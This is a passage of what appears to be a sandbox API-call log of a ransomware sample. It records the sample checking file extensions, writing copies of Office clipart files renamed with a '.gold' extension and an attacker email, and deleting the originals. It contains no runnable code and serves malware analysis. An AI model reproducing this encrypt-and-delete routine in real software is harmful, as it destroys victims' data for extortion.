(lpString1=".1cd", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.908] lstrlenW (lpString=".jpg") returned 4 [0096.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.908] lstrlenW (lpString=".doc") returned 4 [0096.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString=".docx") returned 5 [0096.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.908] lstrlenW (lpString=".pdf") returned 4 [0096.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString=".xls") returned 4 [0096.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.909] lstrlenW (lpString=".xlsx") returned 5 [0096.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.909] lstrlenW (lpString=".ppt") returned 4 [0096.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.909] lstrlenW (lpString=".zip") returned 4 [0096.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.909] lstrlenW (lpString=".rar") returned 4 [0096.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.909] lstrlenW (lpString=".bz2") returned 4 [0096.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.909] lstrlenW (lpString=".7z") returned 3 [0096.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.909] lstrlenW (lpString=".dbf") returned 4 [0096.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.909] lstrlenW (lpString=".1cd") returned 4 [0096.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.909] lstrlenW (lpString=".jpg") returned 4 [0096.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.909] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.909] lstrlenW (lpString="HH00231_.WMF") returned 12 [0096.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.910] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2232) returned 1 [0096.910] CloseHandle (hObject=0x33c) returned 1 [0096.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0096.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.911] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.911] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.912] GetLastError () returned 0x0 [0096.912] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0096.913] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0096.913] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.914] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.914] SetEndOfFile (hFile=0x3c4) returned 1 [0096.914] CloseHandle (hObject=0x3c4) returned 1 [0096.914] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.914] SetEndOfFile (hFile=0x33c) returned 1 [0096.915] CloseHandle (hObject=0x33c) returned 1 [0096.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0096.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.916] lstrlenW (lpString=".doc") returned 4 [0096.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.916] lstrlenW (lpString=".docx") returned 5 [0096.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.916] lstrlenW (lpString=".pdf") returned 4 [0096.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.916] lstrlenW (lpString=".xls") returned 4 [0096.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.916] lstrlenW (lpString=".xlsx") returned 5 [0096.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.916] lstrlenW (lpString=".ppt") returned 4 [0096.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".zip") returned 4 [0096.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.917] lstrlenW (lpString=".rar") returned 4 [0096.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString=".bz2") returned 4 [0096.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString=".7z") returned 3 [0096.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".dbf") returned 4 [0096.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".1cd") returned 4 [0096.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".jpg") returned 4 [0096.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".doc") returned 4 [0096.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString=".docx") returned 5 [0096.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.917] lstrlenW (lpString=".pdf") returned 4 [0096.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString=".xls") returned 4 [0096.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.917] lstrlenW (lpString=".xlsx") returned 5 [0096.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.917] lstrlenW (lpString=".ppt") returned 4 [0096.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".zip") returned 4 [0096.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.917] lstrlenW (lpString=".rar") returned 4 [0096.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString=".bz2") returned 4 [0096.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString=".7z") returned 3 [0096.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".dbf") returned 4 [0096.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".1cd") returned 4 [0096.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0096.917] lstrlenW (lpString=".jpg") returned 4 [0096.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.917] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.918] lstrlenW (lpString="HH00235_.WMF") returned 12 [0096.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.918] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1026) returned 1 [0096.918] CloseHandle (hObject=0x33c) returned 1 [0096.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0096.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.918] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.918] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.919] GetLastError () returned 0x0 [0096.919] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x402, lpOverlapped=0x0) returned 1 [0096.920] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x410, lpOverlapped=0x0) returned 1 [0096.921] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.921] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.921] SetEndOfFile (hFile=0x3c4) returned 1 [0096.921] CloseHandle (hObject=0x3c4) returned 1 [0096.921] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.921] SetEndOfFile (hFile=0x33c) returned 1 [0096.923] CloseHandle (hObject=0x33c) returned 1 [0096.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0096.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.923] lstrlenW (lpString=".doc") returned 4 [0096.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.923] lstrlenW (lpString=".docx") returned 5 [0096.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.923] lstrlenW (lpString=".pdf") returned 4 [0096.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.923] lstrlenW (lpString=".xls") returned 4 [0096.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.923] lstrlenW (lpString=".xlsx") returned 5 [0096.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.923] lstrlenW (lpString=".ppt") returned 4 [0096.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".zip") returned 4 [0096.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.924] lstrlenW (lpString=".rar") returned 4 [0096.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString=".bz2") returned 4 [0096.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString=".7z") returned 3 [0096.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".dbf") returned 4 [0096.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".1cd") returned 4 [0096.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".jpg") returned 4 [0096.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".doc") returned 4 [0096.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString=".docx") returned 5 [0096.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.924] lstrlenW (lpString=".pdf") returned 4 [0096.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString=".xls") returned 4 [0096.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.924] lstrlenW (lpString=".xlsx") returned 5 [0096.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.924] lstrlenW (lpString=".ppt") returned 4 [0096.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".zip") returned 4 [0096.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.924] lstrlenW (lpString=".rar") returned 4 [0096.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString=".bz2") returned 4 [0096.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString=".7z") returned 3 [0096.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".dbf") returned 4 [0096.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".1cd") returned 4 [0096.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0096.924] lstrlenW (lpString=".jpg") returned 4 [0096.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.925] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.925] lstrlenW (lpString="HH00236_.WMF") returned 12 [0096.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.925] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3286) returned 1 [0096.925] CloseHandle (hObject=0x33c) returned 1 [0096.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0096.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.925] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.926] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.926] GetLastError () returned 0x0 [0096.926] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xcd6, lpOverlapped=0x0) returned 1 [0096.927] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0096.928] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.928] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.928] SetEndOfFile (hFile=0x3c4) returned 1 [0096.928] CloseHandle (hObject=0x3c4) returned 1 [0096.928] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.928] SetEndOfFile (hFile=0x33c) returned 1 [0097.636] CloseHandle (hObject=0x33c) returned 1 [0097.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0097.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.684] lstrlenW (lpString=".doc") returned 4 [0097.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.684] lstrlenW (lpString=".docx") returned 5 [0097.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.684] lstrlenW (lpString=".pdf") returned 4 [0097.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.684] lstrlenW (lpString=".xls") returned 4 [0097.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.684] lstrlenW (lpString=".xlsx") returned 5 [0097.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.684] lstrlenW (lpString=".ppt") returned 4 [0097.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.684] lstrlenW (lpString=".zip") returned 4 [0097.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.684] lstrlenW (lpString=".rar") returned 4 [0097.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.684] lstrlenW (lpString=".bz2") returned 4 [0097.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString=".7z") returned 3 [0097.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString=".dbf") returned 4 [0097.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString=".1cd") returned 4 [0097.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString=".jpg") returned 4 [0097.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString=".doc") returned 4 [0097.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString=".docx") returned 5 [0097.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.685] lstrlenW 